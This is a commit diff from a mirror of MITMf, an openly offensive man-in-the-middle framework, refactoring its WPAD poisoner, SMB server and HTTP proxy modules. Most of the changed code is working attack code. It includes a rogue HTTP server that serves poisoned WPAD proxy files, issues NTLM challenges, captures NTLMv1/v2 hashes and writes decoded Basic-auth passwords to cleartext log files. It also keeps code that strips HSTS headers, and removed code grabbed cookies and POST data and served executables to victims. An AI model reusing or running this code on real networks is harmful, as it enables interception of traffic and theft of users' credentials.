mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 13:33:30 -07:00
WPAD Poisoner back online, removed options in config file and rellative code for choosing which DNS server to use. (there really was not point in keeping it)
the --basic and --force options and the EXE serving in the Responder plugin have been removed, until I can find a better way of implementing them. Modified and re-added the JS-keylogger and SMBauth plugins
This commit is contained in:
parent
aa4e022ab0
commit
5d07551a50
13 changed files with 312 additions and 165 deletions
|
@ -44,5 +44,6 @@ class ConfigWatcher(FileSystemEventHandler):
|
|||
def reloadConfig(self):
|
||||
try:
|
||||
self.config = ConfigObj("./config/mitmf.conf")
|
||||
except Exception, e:
|
||||
except Exception as e:
|
||||
mitmf_logger.warning("Error reloading config file: {}".format(e))
|
||||
pass
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
import logging
|
||||
import threading
|
||||
import sys
|
||||
import threading
|
||||
from impacket import smbserver, LOG
|
||||
|
||||
LOG.setLevel(logging.INFO)
|
||||
LOG.propagate = False
|
||||
#logging.getLogger('smbserver').setLevel(logging.INFO)
|
||||
#logging.getLogger('impacket').setLevel(logging.INFO)
|
||||
logging.getLogger('smbserver').setLevel(logging.INFO)
|
||||
logging.getLogger('impacket').setLevel(logging.INFO)
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
|
@ -25,4 +25,47 @@ class SMBserver:
|
|||
def start(self):
|
||||
t = threading.Thread(name='SMBserver', target=self.server.start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
t.start()
|
||||
|
||||
"""
|
||||
class SMBserver(Thread):
|
||||
def __init__(self):
|
||||
Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file', 'None')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# Let's add a dummy share
|
||||
#smbConfig.add_section(DUMMY_SHARE)
|
||||
#smbConfig.set(DUMMY_SHARE,'comment','')
|
||||
#smbConfig.set(DUMMY_SHARE,'read only','no')
|
||||
#smbConfig.set(DUMMY_SHARE,'share type','0')
|
||||
#smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path')
|
||||
|
||||
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
|
||||
self.smb.processConfigFile()
|
||||
try:
|
||||
self.smb.serve_forever()
|
||||
except:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
self._Thread__stop()
|
||||
"""
|
|
@ -1,16 +1,23 @@
|
|||
import socket
|
||||
import threading
|
||||
import logging
|
||||
import re
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.common import *
|
||||
from HTTPPackets import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class WPADPoisoner():
|
||||
|
||||
def start(self):
|
||||
def start(self, options):
|
||||
|
||||
global args; args = options
|
||||
args.forceWpadAuth = False
|
||||
args.basic = False
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[WPADPoisoner] online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
|
||||
|
@ -36,17 +43,14 @@ class HTTP(BaseRequestHandler):
|
|||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
|
||||
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
|
||||
if Verbose:
|
||||
print Message
|
||||
mitmf_logger.info(Message)
|
||||
if buff and args.forceWpadAuth is False:
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0]))
|
||||
self.request.send(buff)
|
||||
else:
|
||||
buffer0 = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(buffer0)
|
||||
except Exception:
|
||||
pass#No need to be verbose..
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data,client):
|
||||
|
@ -92,18 +96,8 @@ def ParseHTTPHash(data,client):
|
|||
mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
def GrabCookie(data,host):
|
||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
||||
if Cookie:
|
||||
CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0))
|
||||
mitmf_logger.info(CookieStr)
|
||||
return Cookie.group(0)
|
||||
else:
|
||||
NoCookies = "No cookies were sent with this request"
|
||||
mitmf_logger.info(NoCookies)
|
||||
return NoCookies
|
||||
|
||||
def WpadCustom(data,client):
|
||||
WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript']
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
buffer1 = WPADScript(Payload=WPAD_Script)
|
||||
|
@ -112,12 +106,6 @@ def WpadCustom(data,client):
|
|||
else:
|
||||
return False
|
||||
|
||||
def WpadForcedAuth(Force_WPAD_Auth):
|
||||
if Force_WPAD_Auth == True:
|
||||
return True
|
||||
if Force_WPAD_Auth == False:
|
||||
return False
|
||||
|
||||
# Function used to check if we answer with a Basic or NTLM auth.
|
||||
def Basic_Ntlm(Basic):
|
||||
if Basic == True:
|
||||
|
@ -125,77 +113,14 @@ def Basic_Ntlm(Basic):
|
|||
else:
|
||||
return IIS_Auth_401_Ans()
|
||||
|
||||
def ServeEXE(data,client, Filename):
|
||||
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
|
||||
mitmf_logger.info(Message)
|
||||
with open (Filename, "rb") as bk:
|
||||
data = bk.read()
|
||||
bk.close()
|
||||
return data
|
||||
|
||||
def ServeEXEOrNot(on_off):
|
||||
if Exe_On_Off == "ON":
|
||||
return True
|
||||
if Exe_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
def ServeEXECAlwaysOrNot(on_off):
|
||||
if Exec_Mode_On_Off == "ON":
|
||||
return True
|
||||
if Exec_Mode_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
def IsExecutable(Filename):
|
||||
exe = re.findall('.exe',Filename)
|
||||
if exe:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def GrabURL(data, host):
|
||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||
if GET:
|
||||
HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET))
|
||||
mitmf_logger.info(HostStr)
|
||||
#print HostStr
|
||||
|
||||
if POST:
|
||||
Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST))
|
||||
mitmf_logger.info(Host3Str)
|
||||
#print Host3Str
|
||||
if len(''.join(POSTDATA)) >2:
|
||||
PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip())
|
||||
#print PostData
|
||||
mitmf_logger.info(PostData)
|
||||
|
||||
#Handle HTTP packet sequence.
|
||||
def PacketSequence(data,client):
|
||||
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
|
||||
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
|
||||
File = config.get('HTTP Server', 'ExecFilename')
|
||||
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
|
||||
if IsExecutable(FILENAME):
|
||||
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if Ntlm:
|
||||
packetNtlm = b64decode(''.join(Ntlm))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
GrabURL(data,client)
|
||||
GrabCookie(data,client)
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
|
@ -205,11 +130,8 @@ def PacketSequence(data,client):
|
|||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(Ntlm))
|
||||
ParseHTTPHash(NTLM_Auth,client)
|
||||
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
|
||||
Message = "[+]WPAD (auth) file sent to: %s"%(client)
|
||||
if Verbose:
|
||||
print Message
|
||||
mitmf_logger.info(Message)
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
|
@ -218,16 +140,11 @@ def PacketSequence(data,client):
|
|||
return str(buffer1)
|
||||
|
||||
if BasicAuth:
|
||||
GrabCookie(data,client)
|
||||
GrabURL(data,client)
|
||||
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
|
||||
mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
|
||||
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
|
||||
Message = "[+]WPAD (auth) file sent to: %s"%(client)
|
||||
if Verbose:
|
||||
print Message
|
||||
mitmf_logger.info(Message)
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
|
@ -236,5 +153,5 @@ def PacketSequence(data,client):
|
|||
return str(buffer1)
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(Basic))
|
||||
return str(Basic_Ntlm(args.basic))
|
||||
|
|
@ -17,8 +17,11 @@
|
|||
#
|
||||
|
||||
import sys
|
||||
import logging
|
||||
import inspect
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class ProxyPlugins:
|
||||
'''
|
||||
This class does some magic so that all we need to do in
|
||||
|
|
|
@ -192,21 +192,14 @@ class ClientRequest(Request):
|
|||
else:
|
||||
|
||||
mitmf_logger.debug("[ClientRequest] Host not cached.")
|
||||
|
||||
if self.urlMonitor.getResolver() == 'dnschef':
|
||||
self.customResolver.port = self.urlMonitor.getResolverPort()
|
||||
|
||||
self.customResolver.port = self.urlMonitor.getResolverPort()
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[ClientRequest] Resolving with DNSChef")
|
||||
address = str(self.customResolver.query(host)[0].address)
|
||||
return defer.succeed(address)
|
||||
except Exception:
|
||||
mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted")
|
||||
return reactor.resolve(host)
|
||||
|
||||
elif self.urlMonitor.getResolver() == 'twisted':
|
||||
mitmf_logger.debug("[ClientRequest] Resolving with Twisted")
|
||||
try:
|
||||
mitmf_logger.debug("[ClientRequest] Resolving with DNSChef")
|
||||
address = str(self.customResolver.query(host)[0].address)
|
||||
return defer.succeed(address)
|
||||
except Exception:
|
||||
mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted")
|
||||
return reactor.resolve(host)
|
||||
|
||||
def process(self):
|
||||
|
|
|
@ -71,7 +71,8 @@ class ServerConnection(HTTPClient):
|
|||
try:
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
|
||||
except:
|
||||
except Exception as e:
|
||||
mitmf_logger.debug("[ServerConnection] Failed to parse client UA: {}".format(e))
|
||||
self.clientInfo = "{} ".format(self.client.getClientIP())
|
||||
|
||||
mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host']))
|
||||
|
@ -135,7 +136,7 @@ class ServerConnection(HTTPClient):
|
|||
self.isCompressed = True
|
||||
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP()))
|
||||
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.clientInfo))
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
|
@ -181,7 +182,7 @@ class ServerConnection(HTTPClient):
|
|||
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
|
||||
data = self.replaceSecureLinks(data)
|
||||
res = self.plugins.hook()
|
||||
res = self.plugins.hook()
|
||||
data = res['data']
|
||||
|
||||
if (self.contentLength != None):
|
||||
|
|
|
@ -53,10 +53,6 @@ class URLMonitor:
|
|||
|
||||
return URLMonitor._instance
|
||||
|
||||
#This is here because I'm lazy
|
||||
def getResolver(self):
|
||||
return ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['resolver'].lower()
|
||||
|
||||
#This is here because I'm lazy
|
||||
def getResolverPort(self):
|
||||
return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port'])
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue